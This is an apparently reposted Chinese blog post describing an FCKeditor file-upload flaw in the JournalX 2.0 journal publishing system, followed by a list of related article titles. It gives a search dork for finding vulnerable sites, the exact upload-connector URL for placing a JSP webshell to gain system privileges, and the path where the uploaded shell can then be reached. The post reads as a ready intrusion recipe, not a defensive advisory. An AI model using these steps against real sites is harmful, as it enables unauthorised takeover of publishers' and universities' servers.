大学网站沦陷之Journal报刊系统Fckeditor-0day
来源：互联网 发布：压缩解压软件 编辑：程序博客网 时间：2024/04/30 13:26
影响版本：JournalX 2.0
官方网站：http://www.magtech.com.cn
产品介绍：
JournalX 2.0率先为出版社/集团、期刊业推出了整体的解决方案。目前已经在遍布全国的600多家杂志社、十几家出版社得到应用。
google or baidu 关键字：inurl:volumn/current_abs.shtml
因FCKeditor/myconfig.js 过滤不严格导致上传任意格式文件。
在Web根目录访问 /FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector 上传JSP马 = 系统权限。
上传后访问路径：http://www.sitedirsec.com/UserFiles/File/ 马的名字.jsp
- 大学网站沦陷之Journal报刊系统Fckeditor-0day
- 网站沦陷
- FCKeditor-Exp通杀0day
- 牧星 php 网站信息管理系统 0day
- 报刊订阅管理系统数据库
- 报刊
- 讯时网站管理系统通杀0DAY漏洞
- 电子报刊制作软件之比较
- 新型网站木马爆发，众多知名网站沦陷
- 一些值得经常看的英美报刊网站
- 报刊类英语网站链接，从报纸中学习英语
- actcms网站管理系统漏洞0day
- 《0Day》之突破SafeSEHS
- 云州大学信息中心网站制作之二
- 云州大学信息中心网站制作之三
- FCKeditor系统拿webshell
- 清空系统密码(0day)
- 乐彼多语言网上商城系统 0day
- 随笔之让小孩子随意去想吧
- IBM Directory Server目录服务器简介
- keytool - 鍵と証明書の管理ツール
- 原来我们一直在帮员工在养“猴子”
- MD5 算法实现
- 大学网站沦陷之Journal报刊系统Fckeditor-0day
- DevSuite如何助力企业实施GJB5000A
- SoybeanMilk Java MVC框架介绍
- 你真的了解网络管理员这份工作吗？
- 基本的HTML文本解析器的设计和实现（C/C++源码)--转csdn
- Xen 4.0发布了
- 云：虚拟之上的管理平台
- 如何删除某个目录下（包含子目录下）的某个名字的文件
- C++的学习方法及书籍推荐
